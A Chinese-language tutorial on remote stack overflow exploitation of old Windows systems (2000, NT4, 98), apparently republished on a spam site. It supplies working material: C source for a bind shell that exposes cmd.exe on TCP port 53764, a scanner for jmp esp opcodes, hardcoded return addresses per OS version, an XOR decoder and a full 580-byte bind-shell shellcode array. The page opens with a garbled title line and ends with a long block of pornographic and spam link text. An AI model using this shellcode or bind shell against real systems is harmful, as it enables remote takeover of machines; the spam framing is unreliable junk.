久久福利_99r_国产日韩在线视频_直接看av的网站_中文欧美日韩_久久一

您的位置:首頁技術(shù)文章
文章詳情頁

windows系統(tǒng)下的遠程溢出方法

瀏覽:146日期:2024-02-10 09:48:45

我們來研究windows系統(tǒng)下的遠程溢出方法。我們的目的是研究如何利用windows程序的溢出來進行遠程攻擊。 如果對于windows下的緩沖區(qū)溢出不是很熟悉,請大家復(fù)習(xí)我前面的文章:《window系統(tǒng)下的堆棧溢出》(IsBaseMagzine 20003)。本文以及后續(xù)的《實戰(zhàn)篇》都是建立在該文基礎(chǔ)上的。

讓我們從頭開始。windows 2000 Advanced Server(Build 5.00.2195)

第一篇 《原理篇》

----遠程溢出算法

如何開一個遠程shell呢?思路是這樣的:首先使敵人的程序溢出,讓他執(zhí)行我們的shellcode。我們的shellcode的功能就是在敵人的機器上用某個端口開一個telnetd 服務(wù)器,然后等待客戶來的連接。當客戶連接上之后,為這個客戶開創(chuàng)一個cmd.exe,把客戶的輸入輸出和cmd.exe的輸入輸出聯(lián)系起來,我們遠程的使用者就有了一個遠程shell(跟telnet一樣啦)。

上面的算法我想大家都該想得到,這里面socket部分比較簡單。和Unix下的基本差不多。就是加了一個WSAStartup;為客戶開創(chuàng)一個cmd.exe,就是用CreateProcess來創(chuàng)建這個子進程;但是如何把客戶的輸入輸出和cmd.exe的輸出輸入聯(lián)系起來呢?我使用了匿名管道(Anonymous Pipe)來完成這個聯(lián)系過程。

管道(Pipe)是一種簡單的進程間通信(IPC)機制。在Windows NT,2000,98,95下都可以使用。管道分有名和匿名兩種,命名管道可以在同一臺機器的不同進程間以及不同機器上的不同進程之間進行雙向通信(使用UNC命名規(guī)范)。

匿名管道只是在父子進程之間或者一個進程的兩個子進程之間進行通信。他是單向的。匿名管道其實是通過用給了一個指定名字的有名管道來實現(xiàn)的。

管道的最大好處在于:他可以象對普通文件一樣進行操作。他的操作標示符是HANDLE,也就是說,他可以使用readFile,WriteFile函數(shù)來進行與底層實現(xiàn)無關(guān)的讀寫操作!用戶根本就不必了解網(wǎng)絡(luò)間/進程間通信的具體細節(jié)。

下面就是這個算法的C實現(xiàn):

/****************************************************************************//* Telnetd.cpp By Ipxodi tested in win2000To illustrated the method of telnetd.Only one connection can be accept,feel free to add select... to fit for multiple client*/#include <winsock2.h>#include <stdio.h>

int main(){WSADATA wsa;SOCKET listenFD;char Buff[1024];int ret;

WSAStartup(MAKEWORD(2,2),&wsa);

listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;

server.sin_family = AF_INET;server.sin_port = htons(53764);server.sin_addr.s_addr=ADDR_ANY;ret=bind(listenFD,(sockaddr *)&server,sizeof(server));ret=listen(listenFD,2);int iAddrSize = sizeof(server);SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);/*這段代碼是用來建立一個Tcp Server的,我們先申請一個socketfd,使用53764(隨便,多少都行)作為這個socket連接的端口,bind他,然后在這個端口上等待連接listen。程序阻塞在accept函數(shù)直到有client連接上來。*/SECURITY_ATTRIBUTES sa;sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);/*創(chuàng)建兩個匿名管道。hReadPipe只能用來讀管道,hWritePipe1只能用來寫管道。*/STARTUPINFO si;ZeroMemory(&si,sizeof(si));si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;si.wShowWindow = SW_HIDE;si.hStdInput = hReadPipe2;si.hStdOutput = si.hStdError = hWritePipe1;char cmdLine[] = 'cmd.exe';PROCESS_INFORMATION ProcessInformation;

ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);/*這段代碼創(chuàng)建了一個shell(cmd.exe),并且把cmd.exe的標準輸入用第二個管道的讀句柄替換。cmd.exe的標準輸出和標準錯誤輸出用第一個管道的寫句柄替換。這兩個管道的邏輯示意圖如下:(父進程) read<---〔管道一〕<---write 標準輸出(cmd.exe子進程)(父進程) write--->〔管道二〕--->read 標準輸入(cmd.exe子進程)*/

unsigned long lBytesRead;while(1) {ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);if(lBytesRead) {ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);if(!ret) break;ret=send(clientFD,Buff,lBytesRead,0);if(ret<=0) break;}else {lBytesRead=recv(clientFD,Buff,1024,0);if(lBytesRead<=0) break;ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);if(!ret) break;}}/*這段代碼完成了客戶輸入和shell的交互。PeekNamedPipe用來異步的查詢管道一,看看shell是否有輸出。如果有就readfile讀出來,并發(fā)送給客戶。如果沒有,就去接受客戶的輸入。并writefile寫入管道傳遞給shell.這兩個管道與client和server的配合邏輯圖如下:輸入命令(Client) <-- send(父進程) read<--〔管道一〕<--write 標準輸出(cmd.exe子進程)獲得結(jié)果(Client) recv-->(父進程)write-->〔管道二〕-->read 標準輸入(cmd.exe子進程)

*/return 0;}/****************************************************************************/

----shellcode疑難問題

下面來寫shellcode。針對windows系統(tǒng)緩沖區(qū)溢出的特殊性,shellcode有一些新的問題,我采用如下辦法來解決:1)跳轉(zhuǎn)指令地址的問題因為在函數(shù)返回的時候,esp都指向返回地址后面的地址。(為什么?因為esp在返回后要指向的地址,就是父函數(shù)在壓完參數(shù),準備執(zhí)行call 子函數(shù)之前的堆棧頂。)所以,我們的shellcode的開始位置,就是函數(shù)返回的時候,esp所指向的位置。因此,使用jmp esp 就可以跳到我們的shellcode上來。

當然,這里面作了一個假設(shè),就是程序是由調(diào)用者來負責(zé)堆棧的恢復(fù)的。匯編代碼就是這個樣子:push eax; push ebx; push ecx; call SubRutineadd esp,000C

但是,如果是由子程序來負責(zé)恢復(fù)堆棧,SubRutine:....:010091F3 C9 leave:010091F4 C20C00 ret 000Cesp就不是指向我們的shellcode開始位置。它將指向shellcode+0c的位置。

事實上,當你在試圖發(fā)現(xiàn)敵人程序的一個溢出點時,這個數(shù)值(這里是0C)是可以很精確的發(fā)現(xiàn)的,因為你可以看到他的匯編原代碼呀!

為了解決這種情況下shellcode不能被正確執(zhí)行的問題,我們可以在shellcode前面加上0c個nop.

這樣,我們需要作的事情,就是用內(nèi)存中一個jmp esp指令的地址,來覆蓋敵人程序的返回地址。在內(nèi)存中,當然有很多dll都會有jmp esp指令,我選擇了kernel32.dll里面的指令,因為這kernel32.dll是系統(tǒng)核心DLL,加載在前面,后面的dll安裝地址要隨前面dll的變動而變動,為了通用性的考慮,采用KERNEL32.DLL。

那么這些地址就是固定的了:win98第二版下(4.00.2222a),返回地址為:0xbff795a3winnt4下(4.00.1381),返回地址為:0x77f0eac3win2000下(5.00.2195),返回地址為:0x77e2e32a

以上地址,我們可以在測試的時候使用,但是,在真正對付敵人的時候,為了區(qū)別出選擇哪一個地址,就需要首先摸清敵人的操作系統(tǒng)以及dll版本號。jmp esp 地址如果不對,敵人的程序就會出現(xiàn)'無效頁錯誤'對話框,并且一定會當?shù)簦裕诠糁埃仨毻ㄟ^一些蛛絲馬跡,判斷敵人的類型。

以下是測試時候使用的代碼:#ifdef WIN2000#define JUMPESP 'x2axe3xe2x77'#endif#ifdef WINNT4#define JUMPESP 'xc3xeaxf0x77'#endif#ifdef WIN98 //2222a#define JUMPESP 'xa3x95xf7xbf'#endif#ifdef EXPLOIT#define JUMPESP '敵人目標程序上的jmp esp地址。'#endif

如果你有softice,可以直接在內(nèi)存里面搜ffe4。如果沒有,綠色兵團的Backend 寫過一個小程序可以搜索user32.dll中的FFE4(jmp esp)串。我把他改了一下,可以搜索指定dll中的FFE4。算法如下:/****************************************************************************//*ffe4.cpp By Backend*/bool we_loaded_it = false; HINSTANCE h; TCHAR dllname[] = _T('User32');

if(argc>1) {strcpy(dllname,argv[1]);}

h = GetModuleHandle(dllname); if(h == NULL) { h = LoadLibrary(dllname); if(h == NULL) { cout<<'ERROR LOADING DLL: '<<dllname<<endl; return 1; } we_loaded_it = true; }

BYTE* ptr = (BYTE*)h; bool done = false; for(int y = 0;!done;y++) { try { if(ptr[y] == 0xFF && ptr[y+1] == 0xE4) { int pos = (int)ptr + y; cout<<'OPCODE found at 0x'<<hex<<pos<<endl; } } catch(...) { cout<<'END OF '<<dllname<<' MEMORY REACHED'<<endl; done = true; } } if(we_loaded_it) FreeLibrary(h);

/****************************************************************************/2)shellcode所使用函數(shù)的問題在shellcode里面使用了很多win32函數(shù),比如ReadFile,CreateProcess等等。這些函數(shù)必須加載到了敵人程序的進程空間里面后我們才能使用。我們將攻擊的敵人的遠程服務(wù)程序里面并不能保證已經(jīng)load了我們所需要的所有的函數(shù)。

我們希望可以作出一個平臺無關(guān)的shellcode,這就必須:不直接使用OS版本相關(guān)的函數(shù)入口地址。這是因為函數(shù)入口地址是根據(jù)OS/SP/升級的版本不同而可能不同的。

唯一的辦法就是對使用的每一個win32函數(shù),都使用LoadLibrary加載dll,用GetProcAddress函數(shù)來獲得函數(shù)地址。這需要我們的shellcode里面有一個函數(shù)名表保存每一個所使用的函數(shù)的函數(shù)名,并且在shellcode執(zhí)行前,調(diào)用上述兩個函數(shù)一一獲得這些函數(shù)的地址。

但是又有一個問題,就是LoadLibrary和GetProcAddress本身的地址怎么獲得呢?我們想一想,這兩個函數(shù)的作用?'取得所有其他函數(shù)的地址。'沒錯,他們太重要了,每一個win32程序都要使用它們!那么,我們的目標程序呢?肯定也會有它們的。所以,在寫exploit的時候,這兩個函數(shù)的地址都是確定的。

如何找到這兩個函數(shù)在目標程序里面的加載地址呢?它們會不會是根據(jù)敵人操作系統(tǒng)的不同而變化的呢?不是。這些動態(tài)加載的函數(shù)都是在目標程序里面設(shè)置了一個入口表。由目標程序自己去加載,但是他的入口表地址是固定的。

你可以使用wdasm32來搜索LoadLibrary和GetProcAddress,可以看到它們對應(yīng)的入口表地址AAAA。在shellcode里面,可以直接用call [AAAA]來引用它們。

3)shellcode里面使用的字符串問題剛剛解決了第二個問題,就引出了第三個問題。前面提到過使用函數(shù)名表以用來動態(tài)獲得函數(shù)地址。但是這些函數(shù)名字都要以x0結(jié)尾的!我們的shellcode最基本的一條,就是里面絕對不能含有x0,也不可以有回車換行.

解決的辦法,就是先對字符串表進行編碼(好嚇人)處理,處理掉所有的非法字符,shellcode在使用前,由一個子程序來進行解碼。

我使用的方法就是對字符串進行 xor 0x99處理。這樣編解碼就是一個程序了。

下面是編解碼程序:0xb1, 0xc6, /* mov cl, C6 */0x8b, 0xc7, /* mov eax, edi *//*Xorshellcode */ /* */0x48, /* dec eax */0x80, 0x30, 0x99, /* xor byte ptr [eax], 99 */0xe2, 0xfa, /* loop Xorshellcode */

呵呵,一點都不嚇人,很簡單,是不是?我們將使用的資源列表就是前面使用的所有函數(shù),加上'cmd.exe'。具體為:

/****************************************************************************/db 'KERNEL32' ,0;string to push for LoadLibrary.db 'CreatePipe',0db 'GetStartupInfoA',0 db 'CreateProcessA',0db 'PeekNamedPipe',0db 'GlobalAlloc',0db 'WriteFile',0db 'ReadFile',0db 'Sleep',0 db 'ExitProcess',0db 'WSOCK32',0db 'socket',0 db 'bind',0 db 'listen',0 db 'accept',0 db 'send',0 db 'recv',0

sockstruc STRUCT sin_family dw 0002hsin_port dw ?sin_addr dd ?sin_zero db 8 dup (0)sockstruc ENDS

db 'cmd.exe',0dd 0ffffffffh db 00dh, 00ah

/****************************************************************************/

4)shellcode的編寫將前面的C程序編譯出來,提取出shellcode,然后加上前面的編解碼和函數(shù)加載模塊就可以了。

應(yīng)用前面的設(shè)計思想,我們可以寫出來shellcode如下:

unsigned char sploit[580] = {0x90, 0x8b, 0xfc, /* mov edi,esp */ 0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0xf7, 0xd0, /* not eax */0x50, /* push eax */0x59, /* pop ecx */0xf2, /* repnz */0xaf, /* scasd */0x59, /* pop ecx */0xb1, 0xc6, /* mov cl, C6 */0x8b, 0xc7, /* mov eax, edi *//*Xorshellcode */ /* */0x48, /* dec eax */0x80, 0x30, 0x99, /* xor byte ptr [eax], 99 */0xe2, 0xfa, /* loop Xorshellcode */0x33, 0xf6, /* xor esi, esi */0x96, /* xchg eax,esi */0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, &LoadLibrary */0xc1, 0xeb, 0x08, /* shr ebx, 08 */0x56, /* push esi */0xff, 0x13, /* call dword ptr [ebx] */0x8b, 0xd0, /* mov edx, eax */0xfc, /* cld */0x33, 0xc9, /* xor ecx, ecx */0xb1, 0x0b, /* mov cl, 0B */0x49, /* dec ecx *//* loadKernelProcess */ /* */0x32, 0xc0, /* xor al, al */0xac, /* lodsb */0x84, 0xc0, /* test al, al */0x75, 0xf9, /* jne loadKernelProcess */0x52, /* push edx */0x51, /* push ecx */0x56, /* push esi */0x52, /* push edx */0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */0xff, 0x13, /* call dword ptr [ebx] */0xab, /* stosd */0x59, /* pop ecx */0x5a, /* pop edx */0xe2, 0xec, /* loop loadKernelProcess *//* */0x32, 0xc0, /* xor al, al */0xac, /* lodsb */0x84, 0xc0, /* test al, al */0x75, 0xf9, /* jne 00000176 */0xb3, 0xe8, /* mov bl, e8 */0x56, /* push esi */0xff, 0x13, /* call dword ptr [ebx] */0x8b, 0xd0, /* mov edx, eax */0xfc, /* cld */0x33, 0xc9, /* xor ecx, ecx */0xb1, 0x06, /* mov cl, 06 *//* loadSocketProcess */ 0x32, 0xc0, /* xor al, al */0xac, /* lodsb */0x84, 0xc0, /* test al, al */0x75, 0xf9, /* jne loadSocketProcess */ 0x52, /* push edx */0x51, /* push ecx */0x56, /* push esi */0x52, /* push edx */0xb3, 0xe4, /* mov bl, e4 */0xff, 0x13, /* call dword ptr [ebx] */0xab, /* stosd */0x59, /* pop ecx */0x5a, /* pop edx */0xe2, 0xec, /* loop loadSocketProcess */ /*這一段代碼就是前期的準備工作,它負責(zé)獲得所有的函數(shù)的入口地址,這些函數(shù)是:'KERNEL32.dll''CreatePipe''GetStartupInfoA''CreateProcessA''PeekNamedPipe''GlobalAlloc''WriteFile''ReadFile''Sleep''ExitProcess'

'WSOCK32.dll''socket' 'bind' 'listen' 'accept' 'send' 'recv' */0x83, 0xc6, 0x05, /* add esi, 00000005 */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0x40, /* inc eax */0x50, /* push eax */0x40, /* inc eax */0x50, /* push eax */0xff, 0x57, 0xe8, /* call [edi-18] */0x93, /* xchg eax,ebx */0x6a, 0x10, /* push 00000010 */ 0x56, /* push esi */ 0x53, /* push ebx */ 0xff, 0x57, 0xec, /* call [edi-14] */ 0x6a, 0x02, /* push 00000002 */0x53, /* push ebx */0xff, 0x57, 0xf0, /* call [edi-10] */0x33, 0xc0, /* xor eax, eax */0x57, /* push edi */0x50, /* push eax */0xb0, 0x0c, /* mov al, 0C */0xab, /* stosd */0x58, /* pop eax */0xab, /* stosd */0x40, /* inc eax */0xab, /* stosd */0x5f, /* pop edi */0x48, /* dec eax */0x50, /* push eax */ 0x57, /* push edi */ 0x56, /* push esi */0xad, /* lodsd */ 0x56, /* push esi */ 0xff, 0x57, 0xc0, /* call [edi-40] */ 0x48, /* dec eax */0x50, /* push eax */0x57, /* push edi */0xad, /* lodsd */0x56, /* push esi */0xad, /* lodsd */0x56, /* push esi */0xff, 0x57, 0xc0, /* call [edi-40] */0x48, /* dec eax */0xb0, 0x44, /* mov al, 44 */0x89, 0x07, /* mov dword ptr [edi], eax */0x57, /* push edi */0xff, 0x57, 0xc4, /* call [edi-3C] */0x33, 0xc0, /* xor eax, eax */0x8b, 0x46, 0xf4, /* mov eax, dword ptr [esi-0C] */0x89, 0x47, 0x3c, /* mov dword ptr [edi+3C], eax */0x89, 0x47, 0x40, /* mov dword ptr [edi+40], eax */0x8b, 0x06, /* mov eax, dword ptr [esi] */0x89, 0x47, 0x38, /* mov dword ptr [edi+38], eax */0x33, 0xc0, /* xor eax, eax */0x66, 0xb8, 0x01, 0x01, /* mov ax, 0101 */0x89, 0x47, 0x2c, /* mov dword ptr [edi+2C], eax */0x57, /* push edi */0x57, /* push edi */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0x50, /* push eax */0x50, /* push eax */0x40, /* inc eax */0x50, /* push eax */0x48, /* dec eax */0x50, /* push eax */0x50, /* push eax */0xad, /* lodsd */0x56, /* push esi */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0xff, 0x57, 0xc8, /* call [edi-38] */ 0xff, 0x76, 0xf0, /* push [esi-10] */0xff, 0x57, 0xcc, /* call [edi-34] */0xff, 0x76, 0xfc, /* push [esi-04] */0xff, 0x57, 0xcc, /* call [edi-34] */0x48, /* dec eax */0x50, /* push eax */0x50, /* push eax */0x53, /* push ebx */0xff, 0x57, 0xf4, /* call [edi-0C] */0x8b, 0xd8, /* mov ebx, eax */0x33, 0xc0, /* xor eax, eax */0xb4, 0x04, /* mov ah, 04 */0x50, /* push eax */0xc1, 0xe8, 0x04, /* shr eax, 04 */0x50, /* push eax */0xff, 0x57, 0xd4, /* call [edi-2C] */0x8b, 0xf0, /* mov esi, eax *//* PeekPipe: */ 0x33, 0xc0, /* xor eax, eax */0x8b, 0xc8, /* mov ecx, eax */0xb5, 0x04, /* mov ch, 04 */0x50, /* push eax */0x50, /* push eax */0x57, /* push edi */0x51, /* push ecx */0x56, /* push esi */0xff, 0x77, 0xa8, /* push [edi-58] */0xff, 0x57, 0xd0, /* call [edi-30] */0x83, 0x3f, 0x01, /* cmp dword ptr [edi], 0000000*/0x7c, 0x22, /* jl GetUserInput */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0x57, /* push edi */0xff, 0x37, /* push dword ptr [edi] */0x56, /* push esi */0xff, 0x77, 0xa8, /* push [edi-58] */0xff, 0x57, 0xdc, /* call [edi-24] */0x0b, 0xc0, /* or eax, eax */0x74, 0x2f, /* je GameOver */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0xff, 0x37, /* push dword ptr [edi] */0x56, /* push esi */0x53, /* push ebx */0xff, 0x57, 0xf8, /* call [edi-08] */0x6a, 0x50, /* push 00000050 */0xff, 0x57, 0xe0, /* call [edi-20] */0xeb, 0xc8, /* jmp PeekPipe *//* GetUserInput: */ 0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0xb4, 0x04, /* mov ah, 04 */0x56, /* push esi */0x53, /* push ebx */0xff, 0x57, 0xfc, /* call [edi-04] */0x57, /* push edi */0x33, 0xc9, /* xor ecx, ecx */0x51, /* push ecx */0x50, /* push eax */0x56, /* push esi */0xff, 0x77, 0xac, /* push [edi-54] */0xff, 0x57, 0xd8, /* call [edi-28] */0x6a, 0x50, /* push 00000050 */0xff, 0x57, 0xe0, /* call [edi-20] *//* GameOver: */ 0xeb, 0xaa, /* jmp PeekPipe */0x50, /* push eax */0xff, 0x57, 0xe4, /* call [edi-1C] */0x90, /* nop *//*這里的長長代碼就是那段C語言的算法,我的注釋很詳細,就不多說了*/0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,0xda, 0xd2, 0xaa, 0xab, 0x99, 0xae, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99, 0x4b, 0x9d, // word value for bind port, 4b9d xor 9999h=537640x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff, 0x0d, 0x0a};/*這些就是那個字符串表,已經(jīng)經(jīng)過了編碼。*/

相關(guān)文章:
主站蜘蛛池模板: 欧美综合婷婷 | 精品久久久久久久久久久久 | 国产精品久久久久久久久久99 | 一区二区三区免费在线观看 | 国产成人av综合 | 天天拍天天操 | 欧美日韩国产高清 | 久久久久久91亚洲精品中文字幕 | 国产精品三级久久久久久电影 | 欧美性猛交一区二区三区精品 | 极品av | 人人干人人爱 | 国产精品福利91 | 欧美日本高清视频 | 在线日韩欧美 | 午夜一级片 | 91视频在线观看 | 午夜草逼 | 精品一区久久 | 久久成人综合 | www中文字幕 | 91大神xh98hx在线播放 | 国产精品国产精品国产专区不片 | 97精品国产 | 爱爱视频网站 | 日日摸日日碰夜夜爽不卡dvd | 国产精品久久久久久久久晋中 | 亚洲成av人片在线观看无码 | 日韩欧美一区二区三区 | 日韩中文字幕免费观看 | 亚洲欧美激情视频 | 君岛美绪一区二区三区在线视频 | 国产精品国产精品国产专区不蜜 | 日批免费在线观看 | 可以看黄的视频 | 欧美性一区二区三区 | 国产成人涩涩涩视频在线观看 | 久久99国产精品久久99大师 | 中文字幕日韩一区 | 91精品国产综合久久久蜜臀图片 | 久久亚洲综合 | 中文无码久久精品 | 男人的天堂久久 | 国产亚洲精品久久久456 | 99精品久久久 | 久久久久久久久久久久久久久久久久久 | 成人久久 | 亚洲国产成人av | 精品一区二区三区三区 | 久一久久| 99亚洲精品 | 永久av| 成人精品鲁一区一区二区 | 亚洲风情在线观看 | 精品视频在线免费观看 | 羞羞视频在线观看免费 | 亚洲天堂免费 | 日本天天操 | 亚洲网在线 | 亚洲精品乱码久久久久久蜜桃 | 中文字幕一区二区三区四区不卡 | 美女精品视频 | 国产精品成人在线观看 | 午夜在线观看免费 | 免费av观看 | 久久精品一区二区 | 成人国产精品一级毛片视频 | 精品亚洲永久免费精品 | 欧美一级免费在线观看 | 亚洲精品乱码久久久久久花季 | 欧美激情伊人 | 中文字幕66页 | 免费 视频 1级 | 激情网站免费 | 久久爱电影 | 日本a视频| 综合视频一区二区三区 | 精品久久中文字幕 | 99热日本| 男女小网站 | 久久综合av| 人人干天天干 | 呦一呦二在线精品视频 | 久久久久久久 | 亚洲欧美一区二区三区在线 | 亚洲国产成人久久一区二区三区 | 亚洲欧美精品 | 免费av片| 特一级毛片 | 人人看人人草 | 91精品久久久久久久 | 午夜视频在线观看网站 | 精品国产乱码久久久久久1区2区 | 欧美精品成人一区二区在线 | 精品亚洲一区二区三区 | 视频一二区| 成人福利视频 | 久久国产一区二区 | 日韩电影一区二区在线观看 | 成人在线观看免费视频 | 伊人网网站 | 成人欧美一区二区三区 | 久久久久久久久久久亚洲 | 欧美九九 | 太平公主一级艳史播放高清 | 亚洲不卡视频在线观看 | 日本私人网站在线观看 | 毛片免费视频 | 日韩一区二区免费视频 | 国产精品一区二区三区在线播放 | 亚洲精品aaa| 国产三级精品三级 | 四虎影音 | 亚洲国产中文字幕 | 91av国产在线视频 | 午夜网址 | 日本aaaa | 国产精品美女久久久久久久久久久 | 国产精品成人一区二区 | 亚洲a级 | 自拍偷拍视频网站 | 国产 日韩 欧美 中文 在线播放 | 欧美激情欧美激情在线五月 | 日韩国产欧美在线观看 | 国产在线高清视频 | 激情欧美一区 | 污污视频网站 | 国产亚洲欧美精品永久 | 国产一区二区三区免费观看 | 成人免费视频视频在线观看 免费 | 久久亚洲精品综合 | 久久99久久99精品免视看婷婷 | 久久青| 黄色av网站免费 | 精品一区二区三区久久 | 国产精品视频久久久 | 黄a在线观看 | 精品一区二区三区免费毛片爱 | 毛片a级片| 亚洲视频在线观看 | 欧美一级视频在线观看 | 久久久精品网 | 手机看片在线 | 欧美日韩大陆 | 久久精彩 | 久久高清片 | 欧美成人h版在线观看 | 中文字幕在线资源 | 欧美一区二区三区精品 | 国产一二区在线观看 | 一区二区三区精品视频 | 日韩在线欧美 | 久久人人爽人人爽人人片av高清 | 一级毛片大全免费播放 | 色婷婷激情 | 久久av在线 | 欧美成人一区二区 | 欧美激情综合五月色丁香小说 | 日日夜夜一区二区 | 一区二区三区在线免费播放 | 亚洲精品一 | 午夜精品久久久久久久星辰影院 | 国产一区二 | 亚洲第一天堂无码专区 | 国产福利91精品一区二区 | 欧洲视频一区二区三区 | 免费在线观看一区二区 | 97视频久久 | 日韩欧美在线一区 | a级在线观看 | 国产妇女乱码一区二区三区 | 黄色免费网址大全 | 国产www| 日韩欧美国产一区二区 | 久久婷婷色 | 国产精品久久久久久久久久免费看 | 久久久久综合狠狠综合日本高清 | 免费高潮视频95在线观看网站 | 日日干天天干 | 中文字幕高清av | 99色综合 | 日韩精品一区二区三区 | 久久精品国产亚洲一区二区三区 | 亚洲精选一区 | 一区二区精品视频在线观看 | 国产精品成人在线观看 | 日本爽快片毛片 | 丝袜 亚洲 另类 欧美 综合 | 81精品国产乱码久久久久久 | 国产一区欧美 | 91传媒在线播放 | 制服 丝袜 激情 欧洲 亚洲 | 婷婷久久综合 | 亚洲无吗电影 | 日韩在线观看一区 | 最新日韩视频 | 在线视频三级 | 狠狠狠| 精品国产区 | 日本免费视频 | a视频在线观看免费 | 午夜成人免费电影 | porn在线视频 | 国产区福利 | 中国妞xxx | 人人看人人插 | 欧美成年网站 | 一区在线不卡 | 少妇性l交大片免费一 | 欧美一区二区三区精品 | 亚洲一区二区中文字幕 | 黄色网页大全 | 午夜在线 | 粉嫩视频在线观看 | 欧美日韩在线看 | 成人一级视频在线观看 | 亚洲 中文 欧美 日韩在线观看 | 亚洲视频中文字幕 | 密室大逃脱第六季大神版在线观看 | 国产麻豆乱码精品一区二区三区 | 久久精品二区 | 久久久久亚洲精品 | 亚洲免费在线观看 | 成人精品一区二区三区电影黑人 | 亚洲 欧美 另类 综合 偷拍 | 有码在线 | 国产精品久久综合 | 一区二区三区视频在线免费观看 | 毛片网站免费在线观看 | 超碰在线人 | 中文字幕在线观看一区二区三区 | 日韩在线视频免费 | 在线观看一区二区三区四区 | 国产成人精品免高潮在线观看 | 免费欧美一级 | 久久久久久九九九九九九 | 91精品久久 | 久久久久久亚洲 | 欧美成视频| 国产成人在线视频 | 精品九九九 | 午夜精品久久久久久久星辰影院 | 国产精品久久在线观看 | 午夜日韩| 久久久久久麻豆 | 精品国产成人 | 欧美日韩亚洲在线 | 婷婷综合 | 亚洲一区二区视频在线观看 | 国产精品久久久久久无遮挡 | gogo熟少妇大胆尺寸 | av一级久久 | 美女视频一区二区三区 | 五月香婷婷| 狠狠干狠狠干 | 精品国产一区二区三区久久久 | 亚洲欧洲精品一区二区 | 国产精品久久久久国产a级 欧美日本韩国一区二区 | 日韩一区二区在线视频 | 日韩三区| 亚洲国产精品视频 | 精品乱码一区二区 | 韩国精品一区二区三区 | 最新的黄色网址 | 在线播放国产一区二区三区 | 91一区 | 色一情一乱一伦一区二区三区 | 久草色视频在线观看 | 欧美女优在线视频 | 久久综合狠狠综合久久综合88 | 成人欧美一区二区三区 | 欧美极品在线 | 99精品视频一区二区三区 | av免费在线观看网址 | 国产日韩中文字幕 | 久久精彩 | 91精品国产综合久久久久 | 成人av观看 | av免费网站在线观看 | 国产亚洲欧美精品永久 | 国产精品福利网站 | 日韩一区二 | 免费在线成人 | 91精品国产综合久久久久久蜜月 | 国产综合视频 | 一区二区三区国产 | 久久激情网站 | 日韩在线免费 | 国产视频一区二区 | 91精品国产综合久久久久久丝袜 | 久久另类ts人妖一区二区 | 99在线免费视频 | 欧美福利一区二区 | www久| 91一级 | 成人在线一区二区 | 亚洲精品99| 精品国产一区二区三区久久久蜜 | 羞羞视频免费看 | 亚洲欧美日韩电影 | 亚洲视频在线视频 | 午夜精品久久久久久久久 | 91精品啪aⅴ在线观看国产 | 久久久久久久一区 | 日韩精品一区二区在线观看视频 | 一区综合 | 九色91视频| 色女人的天堂 | 欧一区二区 | 香蕉久久久久久 | 97色综合 | 视频国产一区 | 久久精品国产亚洲精品 | 中文字幕在线精品 | 欧美精品久久久久 | 亚洲一区精品在线 | 国产不卡视频在线观看 | 亚洲综合无码一区二区 | 国产精品一二三区 | a免费在线| 美日韩一区二区三区 | 欧美精品一二三区 | 黄a一级| 成人一区二区三区在线观看 | 在线观看欧美日韩视频 | 日p视频免费看 | 久久精品国产99国产精品 | 亚州精品天堂中文字幕 | 亚洲成人在线观看视频 | 2020国产在线 